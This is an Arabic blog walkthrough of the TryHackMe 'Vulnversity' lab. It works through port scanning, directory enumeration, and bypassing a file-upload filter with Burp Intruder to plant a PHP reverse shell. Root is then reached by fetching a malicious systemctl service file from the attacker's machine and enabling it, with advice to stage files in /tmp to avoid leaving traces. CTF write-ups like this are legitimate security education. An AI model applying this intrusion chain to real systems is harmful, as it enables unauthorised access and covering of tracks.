TryHackMe|Vulnversity WriteUp\Walkthrough (Arabic)
بسم الله
اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:
===============================================================
كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا 6 بروتات اللي هي 21،22، 139، 445، 3128،3333 نرجع نسوي Aggressive سكان على نفس هذه البورتات
sudo nmap IP -vv -A -p 21,22,139,445,3128,3333
طلع معانا معلومات كثيرة نقدر من خلالها نجاوب على أول الأسئلة بالتحدي، جميع الإجابات تلقونها أسفل الصفحة نهاية الحل.
البروكسي شغال على بورت 3128 ورقم النسخة هو 3.5.12.
نظام التشغيل هو Ubuntu وعرفنا هذا من خلال قراءتنا للـversion على بورت 22.
الويب سيرفير يتشغل على بورت 3333.
بنبدأ ببورت 3333 بما إن زي مو واضح من نتائج السكان موجود عليها Apache Server، وثغرات الويب عديدة وفيه منها السهل، فبندخل ونشوف الصفحة.
على المتصفح طلع معانا موقع جامعي عادي جدا ما فيه شيء مميز، ولو جربتوا تضغطون على الصفحات المختلفة والروابط ما بتطلعون بشيء، لذلك بنسوي directory enumeration باستخدام gobuster
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP:3333/ -t 64
طلع معانا مسارات متعددة، المُلفت هو internal، نروح للمتصفح وندخل على صفحة internal
بنلاقي في الصفحة نموذج لرفع الملفات، هذا شيء راااائع، فعلطول بناخذ web shell ونرفعها على الموقع، أنا استخدمت الـpentestmonkey php shell أخذتها من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد.
نرجع على نظامنا ونحفظ الـShell في ملف ونسميه shell.php، بعدين نروح على internal ونرفع الـshell.
هنا واجهتنا مشكلة، وهو إنه الـextension مُفلتَر، فمعناته ما أقدر أرفع ملفات php على النظام، لكن فيه حل، وهو إنه مو شرط أستخدم php بعينها، في extensions تنفع غيرها مثل php4، php3، phtml. ممكن إننا نجرب جميع هذه الامتدادات عن طريق إننا كل مرة نحفظ الملف بامتداد مختلف، ثم نرجع للصفحة ونرفع الملف ونشوف ينقبل أو لا، لكن في طريقة أسرع باستخدام burpsuite.
أول شيء بنحفظ الامتدادات الـ4 اللي كتبناها فوق في ملف، كل امتداد في سطر لوحده، وشملنا php مع إنه نعرف ما بينجح لآن بنخليه للمقارنة، ونسمي هذا الملف مثلا phpext، ثم من foxy proxy على المتصفح نختار burpsuite ثم نفتح burpsuite، بعد كذا نرجع نرفع الـphp shell من الصفحة ونلتقط الطلب، هو رح يرفضها، ومو مهم، المهم الآن إننا نلتقط الطلب على burp. بنلقى الطلب تحت قائمة proxy ثم HTTP history وبنلاقي الطلب، نضغط بزر الفأرة الأيمن ونختار send to intruder.
نروح لـintruder ثم نضغط على § clear بعد كذا نحدد على امتداد الملف فقط ونضغط § add
هذا قبل ما نضغط add
وهنا بعد
بعد كذا نروح على القائمة الفرعية اللي اسمها payloads وتحت payload settings نضغط على load ثم بيفتح معانا نافذة للمفات على الجهاز، نروح للملف phpext اللي جهزناه بالأعلى ونختاره. ثم بتتحمل معانا الامتدادات.
نشيل الصح من عند payload encoding ثم نضغط على Start attack في أعلى اليمين. بيبدأ يرسل طلب على كل من هذه الامتدادات. من النتائج واضح إن كلها نفس الحجم ما عدا واحد مختلف اللي هو phtml، لذلك بنشيك عليه أول شيء.
إذا شفنا الـhttp response بنشوف كلمة success وهذا يعني إنه يقبل هذا الامتداد.
اللي بنسويه الآن إننا بنروح للملف ونغير امتداده
mv shell.php shell.phtml
لو في شيء مو واضح ممكن ترجعون لمقطع الشرح وتشوفون كيف تستخدمون burpsuite بالتفصيل في المقطع أعلاه من الدقيقة 7:18 إلى إلى 10:50
رفعنا الملف shell.phtml وارتفع وضبط معاي، لكن المشكلة إني ما أعرف وين راح الملف، اللي أعرفه فقط إن الطلب يتم إرساله للصفحة internal، لذلك بنرجع نسوي gobuster ونشوف وش فيه مسارات تحت internal ممكن نلاقي الملف اللي رفعناه فيها.
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP:3333/internal -t 64
طلع معانا المسارuploads يعني احتمال %99.99 بنلاقي الـshell هناك، نروح للصفحة على المتصفح وقبل ما نضغط على الشيل نتأكد إن الـListener شغال على جهازنا
nc -nlvp 4444
ثم نضغط على الـshell وبيوصل لنا اتصال من الضحية على جهازنا، وبما إن الـvictim جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
بعدين هذه الكوماند
export TERM=xterm
ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
الحين نجيبها لقدام باستخدام هذه الكوماند
stty raw -echo;fg
الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.
الآن بما إننا داخل جهاز الضحية، بنروح للـhome ونشوف وش عندي مستخدمين
cd home
ls
عندي bill
cd bill
ls
بنلاقي أول فلاق، نستعرضه
cat user.txt
وبكذا حصلنا على أول فلاق ✨، ثاني فلاق يكون غالبا في root home directory وعشان نقدر نقرأه ونوصل له نحتاج نرفع صلاحياتنا، وهو أعطاني تلميحة في السؤال وقال إننا بنستخدم SUID binary، فنبحث عنها في النظام باستخدام
find / -perm /4000 2>/dev/null
طلع معانا binaries كثيرة، المُلفت فيها هو systemctl، عشان نبحث عن طريقة نستخدم فيها هذا البايناري لرفع الصلاحيات، نكتب في قوقل
systemctl privilege escalation
فيه عدة مصادر، هذا جدا ممتاز
https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation
بنسوي زي ما يبغى بالضبط، أول حاجة بننسخ السكريبت زي ماهو ونحفظه في ملف على نظامنا، ونعدل على الـIP نحط مكانه عنوان openVPN لجهازنا، وباقي المعلومات زي ماهي.
بعد كذا ننقل هذا السكريبت إلى الضحية. أول شيء نشغل بايثون سيرفير على المجلد اللي يحتوي على الملف اللي نبي ننقله
python3 -m http.server
وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك
طيب ليه اخترت الـtmp ؟؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
wget http://OpenVPN-IP:8000/root.service
نروح على جهازنا ونجهز الـlistener ونتأكد إن رقم البورت نفس اللي موجود على الـExploit وهو 9999،
ثم ننفذ على الضحية هذه الكوماندز
/bin/systemctl enable /dev/shm/root.service
/bin/systemctl start root
إذا كل شيء تمام المفروض يجينا اتصال على جهازنا من الضحية ولكن الـshell هذه المرة بتكون بصلاحيات رووت. أول ما يجينا الاتصال نروح لمجلد رووت ونقرأ الفلاق
cd /root
ls
cat root.txt
وبكذا انتهينا من الحل وحصلنا على ثاني فلاق ✨
هذه إجابات الأسئلة ما عدا الفلاقات:
Reconnaissance
كل الإجابات هنا من خلال نتائج الـAggressive nmap scan حصلنا عليها
Locating directories using Gobuster
Compromise the Webserver
Privilege Escalation














Comments
Post a Comment